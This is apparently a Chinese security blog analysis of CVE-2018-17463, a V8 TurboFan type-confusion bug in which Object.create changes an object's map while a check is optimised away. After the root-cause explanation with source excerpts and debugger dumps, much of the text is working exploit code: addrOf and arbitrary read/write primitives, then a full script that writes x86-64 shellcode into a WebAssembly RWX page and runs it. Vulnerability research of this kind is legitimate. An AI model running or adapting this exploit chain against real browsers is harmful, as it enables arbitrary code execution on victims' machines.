2020-07-28-CVE-2018-17463-IR优化漏洞分析
前言
环境搭建
git reset --hard 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync
./tools/dev/gm.py x64.release
./tools/dev/gm.py x64.debug
推断优化(speculative optimization)
推断优化指的TurboFan 利用之前字节码运行时收集的信息进行优化,最主要的策略是假设对象的类型仍然是之前运行时的对象类型,因此通过对象的map ( hidden class )直接通过偏移来访问相应的属性。
优化测试代码:
function foo(o) {
return o.a + o.b;
}
生成的IR code如下:
CheckHeapObject o
CheckMap o, map1
r0 = Load [o + 0x18]
CheckHeapObject o
CheckMap o, map1
r1 = Load [o + 0x20]
r2 = Add r0, r1
CheckNoOverflow
Return r2
当进行IR优化时,因为对象o不变,第二次的 CheckMap o, map1是冗余的,优化进行消除,变成下面这样:
CheckHeapObject o
CheckMap o, map1
r0 = Load [o + 0x18]
r1 = Load [o + 0x20]
r2 = Add r0, r1
CheckNoOverflow
Return r2
优化会造成,第二次访问[o + 0x20]时没有进行类型检查。
漏洞分析
漏洞位于src/compiler/js-operator.cc:625,对JSCreateObject操作的判断:
#define CACHED_OP_LIST(V) \
... ...
V(CreateObject, Operator::kNoWrite, 1, 1) \
... ...
漏洞函数调用链:
CreateObject:
->LowerJSCreateObject
->kCreateObjectWithoutProperties
->Runtime::kObjectCreate
->JSObject::ObjectCreate
->Map::GetObjectCreateMap
->if (prototype->IsJSObject())
->if (!js_prototype->map()->is_prototype_map())
->JSObject::OptimizeAsPrototype(js_prototype); // 进行优化
->JSObject::NormalizeProperties
->Map::Normalize
->new_map = Map::CopyNormalized(isolate, fast_map,mode);//生成新的map
->RawCopy
->result->set_is_dictionary_map(true);//设置 dictionary 标志位
->MigrateToMap(object, new_map,expected_additional_properties);
->MigrateFastToSlow(object, new_map,expected_additional_properties);
// 将object从原来的map迁移到new_map中,从而导致对象map的改变
在执行如下代码后,Object a的map的确从fast mode变成了Dictionary
let a = {x : 1};
%DebugPrint(a);
Object.create(a);
%DebugPrint(a);
该漏洞可以影响一个Object的结构,将其模式修改为Directory。(dictionary mode类似于hash表存储,结构较复杂。fast mode是简单的结构体模式)
关键函数:
// src/objects.cc:6436
void JSObject::NormalizeProperties(Handle<JSObject> object,
PropertyNormalizationMode mode,
int expected_additional_properties,
const char* reason) {
if (!object->HasFastProperties()) return;
Handle<Map> map(object->map(), object->GetIsolate());
Handle<Map> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);
MigrateToMap(object, new_map, expected_additional_properties);
}
JSObject::MigrateToMap 调用了MigrateFastToSlow ,将对象迁移到了DictionaryProperties :
// src/objects.cc:4514
void JSObject::MigrateToMap(Handle<JSObject> object, Handle<Map> new_map,
int expected_additional_properties) {
if (object->map() == *new_map) return;
Handle<Map> old_map(object->map(), object->GetIsolate());
NotifyMapChange(old_map, new_map, object->GetIsolate());
if (old_map->is_dictionary_map()) {
...
} else if (!new_map->is_dictionary_map()) {
...
} else {
MigrateFastToSlow(object, new_map, expected_additional_properties);
}
// Careful: Don't allocate here!
// For some callers of this method, |object| might be in an inconsistent
// state now: the new map might have a new elements_kind, but the object's
// elements pointer hasn't been updated yet. Callers will fix this, but in
// the meantime, (indirectly) calling JSObjectVerify() must be avoided.
// When adding code here, add a DisallowHeapAllocation too.
}
之后进行IR优化,消除冗余的checkpoint:
CheckpointElimination::Reduce
->CheckpointElimination::ReduceCheckpoint
->IsRedundantCheckpoint // 检查同路径上是否有冗余的checkpoint
->effect->op()->HasProperty(Operator::kNoWrite)
// 当结点是Operator::kNoWrite,说明此map没有effect,继续遍历,(v8的认为Object.create函数是kNoWrite)
->if (effect->opcode() == IrOpcode::kCheckpoint) return true;
// 如果后面仍然是IrOpcode::kCheckpoint,认为该checkpoint是冗余,返回true,可消除
->Replace(NodeProperties::GetEffectInput(node));
IsRedundantCheckpoint函数如下:
// The given checkpoint is redundant if it is effect-wise dominated by another
// checkpoint and there is no observable write in between. For now we consider
// a linear effect chain only instead of true effect-wise dominance.
bool IsRedundantCheckpoint(Node* node) {
Node* effect = NodeProperties::GetEffectInput(node);
while (effect->op()->HasProperty(Operator::kNoWrite) && effect->op()->EffectInputCount() == 1) {
// 当结点是Operator::kNoWrite,说明此map没有effect,继续遍历
if (effect->opcode() == IrOpcode::kCheckpoint) return true;
// 如果后面仍然是IrOpcode::kCheckpoint,认为该checkpoint是冗余,返回true,可消除
effect = NodeProperties::GetEffectInput(effect);
}
return false;
}
Reduction CheckpointElimination::ReduceCheckpoint(Node* node) {
DCHECK_EQ(IrOpcode::kCheckpoint, node->opcode());
if (IsRedundantCheckpoint(node)) {
return Replace(NodeProperties::GetEffectInput(node));
}
return NoChange();
}
Reduction CheckpointElimination::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;
switch (node->opcode()) {
case IrOpcode::kCheckpoint:
return ReduceCheckpoint(node);
default:
break;
}
return NoChange();
}
poc 代码,对Object.create函数进行测试:
let a = {x:1, y:2, z:3};
a.b = 4;
a.c = 5;
a.d = 6;
%DebugPrint(a);
%SystemBreak();
Object.create(a);
%DebugPrint(a);
%SystemBreak();
Object.create(a); 之前:
从上图中可以看出:x,y,z被保存在结构体内部,而b,c,d 是保存在properties中。属性值的存储顺序是固定的。
Object.create(a); 之后:
属性被打乱都保存在elements中,每个数据占16字节,前8字节代表属性名,后8字节代表属性值。
调试poc可以看到通过调用Object.create()会将对象由[FastProperties]模式改为[DictionaryProperties]模式,并且之前保存的属性也会进行打乱,导致固定偏移上的内存的数据发生改变。
综上可以总结该漏洞利用了v8的两个特性:
(1)调用Object.create(),将对象由[FastProperties]模式改为[DictionaryProperties]模式,造成访问成员时,固定偏移上的内存的数据发生改变,访问到其他成员或其他数据。
(2)IR优化,当第二次访问同一个对象的成员时,消除“冗余的“的类型检查,结合(1)就可以构造如下的Poc,造成访问对象的一个成员时,其实是访问其它数据,并且该数据可以是另一个类型的对象,因为已经消除了类型检查。
PoC 代码:
const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;
function check_vuln(){
function hax(o) {
// forced a map check
o.inline; // 访问一次对象o,这样第二次才可能消除类型检查
// change the map, but v8 think it has no side-effect
Object.create(o);
return o.outline;
}
for (let i=0; i<MAX_ITERATIONS; i++){
let o = {inline: 0x6666};
o.outline = 0x7777;
if(hax(o) !== 0x7777) { // 经过hax函数,o已经变成hash无序状态,并且触发了优化的话,就按固定偏移访问o.outline,但o已经是hash无序状态,所以固定偏移上的数据已经不是0x7777了,此时我们并不知道是什么数据。
return;
}
}
throw "[-] Not vulnerable"
}
check_vuln();
print("[+] v8 version is vulnerable");
触发漏洞前,没有调用Object.create前,此时o.outline位于properties+0x10处偏移,为0x7777:
调用Object.create后,变成hash无序,此时properties+0x10处偏移为0x2,触发漏洞进行优化,o.outline仍按之前的偏移进行访问,值为0x2,不等于0x7777,显示有漏洞。
漏洞利用
通过上述PoC代码可以看到,触发漏洞后会按固定偏移访问对象o的属性,但DictionaryProperties是一个hash表,各属性的偏移位置并不固定,所以访问一个固定偏移的数据得到的结果是随机的。进行漏洞利用需要用到v8的另一个特性,相同属性构造的Object,在DictionaryProperties中的偏移是相同的,PoC代码如下:
let a1 = {x : 1,y:2,z:3};
a1.b = 4;
a1.c = 5;
a1.d = 6;
let a2 = {x : 2,y:3,z:4};
a2.b = 7;
a2.c = 8;
a2.d = 9;
Object.create(a1);
%DebugPrint(a1);
Object.create(a2);
%DebugPrint(a2);
%SystemBreak();
通过调试可以发现a1,a2虽然属性值不同,但在Properties中属性名相同的仍存在同一位置。即只要各属性名相同,对象的内存里各个属性所在的位置都是固定的。
pwndbg> job 0x135d0948e229
0x135d0948e229: [JS_OBJECT_TYPE]
- map: 0x2bfa4fa0cbb1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x0580d5d846d9 <Object map = 0x2bfa4fa022f1>
- elements: 0x2b96c5a82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x135d0948e591 <NameDictionary[53]> {
#y: 2 (data, dict_index: 2, attrs: [WEC])
#z: 3 (data, dict_index: 3, attrs: [WEC])
#b: 4 (data, dict_index: 4, attrs: [WEC])
#d: 6 (data, dict_index: 6, attrs: [WEC])
#c: 5 (data, dict_index: 5, attrs: [WEC])
#x: 1 (data, dict_index: 1, attrs: [WEC])
}
pwndbg> job 0x135d0948e539
0x135d0948e539: [JS_OBJECT_TYPE]
- map: 0x2bfa4fa0cc51 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x0580d5d846d9 <Object map = 0x2bfa4fa022f1>
- elements: 0x2b96c5a82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x135d0948e781 <NameDictionary[53]> {
#y: 3 (data, dict_index: 2, attrs: [WEC])
#z: 4 (data, dict_index: 3, attrs: [WEC])
#b: 7 (data, dict_index: 4, attrs: [WEC])
#d: 9 (data, dict_index: 6, attrs: [WEC])
#c: 8 (data, dict_index: 5, attrs: [WEC])
#x: 2 (data, dict_index: 1, attrs: [WEC])
}
pwndbg> x/10gx 0x135d0948e591-1+0x38
0x135d0948e5c8: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e5d8: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e5e8: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e5f8: 0x00002401a4406959 0x0000000200000000
0x135d0948e608: 0x000002c000000000 0x00002b96c5a825a1
pwndbg>
0x135d0948e618: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e628: 0x00002401a4406971 0x0000000300000000
0x135d0948e638: 0x000003c000000000 0x00002b96c5a825a1
0x135d0948e648: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e658: 0x00002b96c5a825a1 0x00002b96c5a825a1
pwndbg> x/10gx 0x135d0948e781-1+0x38
0x135d0948e7b8: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e7c8: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e7d8: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e7e8: 0x00002401a4406959 0x0000000300000000
0x135d0948e7f8: 0x000002c000000000 0x00002b96c5a825a1
pwndbg>
0x135d0948e808: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e818: 0x00002401a4406971 0x0000000400000000
0x135d0948e828: 0x000003c000000000 0x00002b96c5a825a1
0x135d0948e838: 0x00002b96c5a825a1 0x00002b96c5a825a1
0x135d0948e848: 0x00002b96c5a825a1 0x00002b96c5a825a1
利用上述特性,可以找到一对用于类型混淆,相互对应的属性名一直使用,比如这次访问p1,由于漏洞访问到p4,那么新建一个各个属性相同的对象,访问p1, 因为访问固定偏移,这个偏移填的就是p4,所以还是访问到p4。 如果没有这个特性,那么这次p1对应p4,下次就不一定对应p4了。
漏洞利用步骤:
(1)找到一对相互对应的属性名
首先设置有规律的键值对:{‘pi’ => -i },经过Object.create后,变成无序的hash表,利用propertyNames.map对键值对排个序,返回的r数组是按照pi进行排序的,未触发漏洞前是按照键值对{‘pi’ => -i }排列的:
pwndbg> job 0x368e3b799919
0x368e3b799919: [JSArray]
- map: 0x2ec2a5184fa1 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x127403a93b61 <JSArray[0]>
- elements: 0x368e3b799949 <FixedArray[48]> [PACKED_ELEMENTS]
- length: 48
- properties: 0x3a3f0b402cf1 <FixedArray[0]> {
#length: 0x1e9af6f952c1 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x368e3b799949 <FixedArray[48]> {
0: 0x3a3f0b4025a1 <undefined>
1: -1
2: -2
3: -3
4: -4
5: -5
6: -6
7: -7
8: -8
9: -9
10: -10
……
进行优化,触发漏洞后,按之前pi的固定偏移进行访问,得到的键值对是混乱的,但可以找到一对属性是相互对应,如下,访问p6,其实是按之前p6的偏移进行访问,此时填充的是p39的值,造成的影响就是访问p6其实访问的是p39。
pwndbg> job 0x281c5060f511
0x281c5060f511: [JSArray]
- map: 0x29e5d3984fa1 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x283b0ed93b61 <JSArray[0]>
- elements: 0x281c5060f381 <FixedArray[48]> [PACKED_ELEMENTS]
- length: 48
- properties: 0x1a4826f82cf1 <FixedArray[0]> {
#length: 0x2b92c37952c1 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x281c5060f381 <FixedArray[48]> {
0: 49
1: 0
2: 128
3: 50
4: 0
5: 0x283b0eda7239 <String[3]: p39>
6: -39
7: 10736
8-16: 0x1a4826f825a1 <undefined>
……
查找属性对的代码如下:
function makeObj(propertyValues) {
let o = {inline: 0x1234};
for (let i = 0; i < obj_len; i++) {
Object.defineProperty(o, 'p' + i, {
writable: true,
value: propertyValues[i]
});
}
return o;
}
function findoverlap(){
let propertyNames = [];
for(let i=0; i < obj_len; i++){
propertyNames[i] = 'p' + i;
}
eval(`
function hax(o){
o.a;
this.Object.create(o);
${propertyNames.map((p) => `let ${p}=o.${p};`).join('\n')}
return [${propertyNames.join(', ')}];
}
`);
let p_Values = [];
for(let i=1; i< obj_len; i++){
p_Values[i] = -i;
}
for(let i=0; i< 10000; i++){
let objs = makeObj(p_Values);
let r = hax(objs);
for(let j=1; j < r.length; j++){
if(j != -r[j] && r[j] < 0 && r[j] > -obj_len){
console.log('p'+ j +' & p' + -(r[j]) +" are collision in directory");
[p1, p2] = [j, -r[j]];
return;
}
}
}
throw "not found collision ";
}
(2)构造addOf原语
找到相对应的属性对p1, p2后,将p1和p2赋值成两个新对象,为后面的类型混淆做准备:
p_Values[p1] = {x1:23.33, x2: 33.44};
p_Values[p2] = {y1: obj};
此时访问o.p1.x1就是访问o.p2.y1,所以读取o.p1.x1,就可以将obj地址当成浮点数进行泄露。
addOf原语代码如下:
function addrOf(obj)
{
eval(`
function hax(o){
o.a;
this.Object.create(o);
return o.p${p1}.x1;
}
`);
let p_Values = [];
p_Values[p1] = {x1:23.33, x2: 33.44};
p_Values[p2] = {y1: obj};
for(let i=0; i < 10000; i++){
let objs = makeObj(p_Values);
let leakAddr = hax(objs);
if(leakAddr !== 23.33){
return f2i(leakAddr) - 1;
}
}
throw "addrOf failed!";
}
(3)构造任意地址读写原语
通过覆盖ArrayBuffer->backing_store指针来构造任意地址读写原语,同上述相似,o.p1.x2对应着data_buf->backing_store
覆盖ArrayBuffer->backing_store指针的代码如下:
var data_buf = new ArrayBuffer(0x200);
var data_view = new DataView(data_buf);
function write_databuf(addr)
{
eval(`
function hax(o, addr){
o.a;
this.Object.create(o);
o.p${p1}.x2 = addr; // 将目标地址覆盖ArrayBuffer->backing_store指针
return o.p${p1}.x1; // 返回o.p1.x1 用于判断是否此时漏洞已经触发,这样才能保证o.p1.x2此时对应着data_buf->backing_store
}
`);
let p_Values = [];
p_Values[p1] = {x1:23.33, x2: 33.44};
p_Values[p2] = data_buf;
for(let i=0; i < 10000; i++){
p_Values[p1] = {x1:23.33, x2: 33.44};
let objs = makeObj(p_Values);
let x1 = hax(objs, i2f(addr));
if(x1 !== 23.33){
return;
}
}
throw "write_databuf failed!";
}
//----- arbitrary read
function dataview_read64(addr)
{
write_databuf(addr);
return f2i(data_view.getFloat64(0, true));
}
//----- arbitrary write
function dataview_write(addr, payload)
{
write_databuf(addr);
for(let i=0; i < payload.length; i++)
{
data_view.setUint8(i, payload[i]);
}
}
(4)最后通过wasm_function->wasm_shared_info->wasm_data->wasm_instance 找到rwx的区域,将shellcode写入该区域即可完成利用。
exp 代码:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);
function f2i(f)
{
float64[0] = f;
let tmp = Array.from(Uint32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i2f(i)
{
let tmp = [];
tmp[0] = parseInt(i % 0x100000000);
tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
Uint32.set(tmp);
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;
let p1, p2;
let obj_len = 0x30;
function makeObj(propertyValues) {
let o = {inline: 0x1234};
for (let i = 0; i < obj_len; i++) {
Object.defineProperty(o, 'p' + i, {
writable: true,
value: propertyValues[i]
});
}
return o;
}
function findoverlap(){
let propertyNames = [];
for(let i=0; i < obj_len; i++){
propertyNames[i] = 'p' + i;
}
eval(`
function hax(o){
o.a;
this.Object.create(o);
${propertyNames.map((p) => `let ${p}=o.${p};`).join('\n')}
return [${propertyNames.join(', ')}];
}
`);
let p_Values = [];
for(let i=1; i< obj_len; i++){
p_Values[i] = -i;
}
for(let i=0; i< 10000; i++){
let objs = makeObj(p_Values);
let r = hax(objs);
for(let j=1; j < r.length; j++){
if(j != -r[j] && r[j] < 0 && r[j] > -obj_len){
console.log('p'+ j +' & p' + -(r[j]) +" are collision in directory");
[p1, p2] = [j, -r[j]];
return;
}
}
}
throw "not found collision ";
}
findoverlap();
function addrOf(obj)
{
eval(`
function hax(o){
o.a;
this.Object.create(o);
return o.p${p1}.x1;
}
`);
let p_Values = [];
p_Values[p1] = {x1:23.33, x2: 33.44};
p_Values[p2] = {y1: obj};
for(let i=0; i < 10000; i++){
let objs = makeObj(p_Values);
let leakAddr = hax(objs);
if(leakAddr !== 23.33){
return f2i(leakAddr) - 1;
}
}
throw "addrOf failed!";
}
var data_buf = new ArrayBuffer(0x200);
var data_view = new DataView(data_buf);
function write_databuf(addr)
{
eval(`
function hax(o, addr){
o.a;
this.Object.create(o);
o.p${p1}.x2 = addr;
return o.p${p1}.x1;
}
`);
let p_Values = [];
p_Values[p1] = {x1:23.33, x2: 33.44};
p_Values[p2] = data_buf;
for(let i=0; i < 10000; i++){
p_Values[p1] = {x1:23.33, x2: 33.44};
let objs = makeObj(p_Values);
let x1 = hax(objs, i2f(addr));
if(x1 !== 23.33){
return;
}
}
throw "write_databuf failed!";
}
//----- arbitrary read
function dataview_read64(addr)
{
write_databuf(addr);
return f2i(data_view.getFloat64(0, true));
}
//----- arbitrary write
function dataview_write(addr, payload)
{
write_databuf(addr);
for(let i=0; i < payload.length; i++)
{
data_view.setUint8(i, payload[i]);
}
}
//----- find wasm_code_rwx_addr
var wasm_function_addr = addrOf(wasm_function);
console.log("[+] wasm_function_addr: 0x" + hex(wasm_function_addr));
var wasm_shared_info = dataview_read64(wasm_function_addr + 0x18);
console.log("[+] find wasm_shared_info : 0x" + hex(wasm_shared_info));
var wasm_data = dataview_read64(wasm_shared_info -1 + 0x8);
console.log("[+] find wasm_data : 0x" + hex(wasm_data));
var wasm_instance = dataview_read64(wasm_data -1 + 0x10);
console.log("[+] find wasm_instance : 0x" + hex(wasm_instance));
var wasm_rwx = dataview_read64(wasm_instance + -1 + 0xf0);
console.log("[+] find wasm_rwx : 0x" + hex(wasm_rwx));
//write shellcode to wasm
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
dataview_write(wasm_rwx, shellcode);
wasm_function();
运行效果图:
参考链接
https://xz.aliyun.com/t/5413
https://bugs.chromium.org/p/chromium/issues/detail?id=888923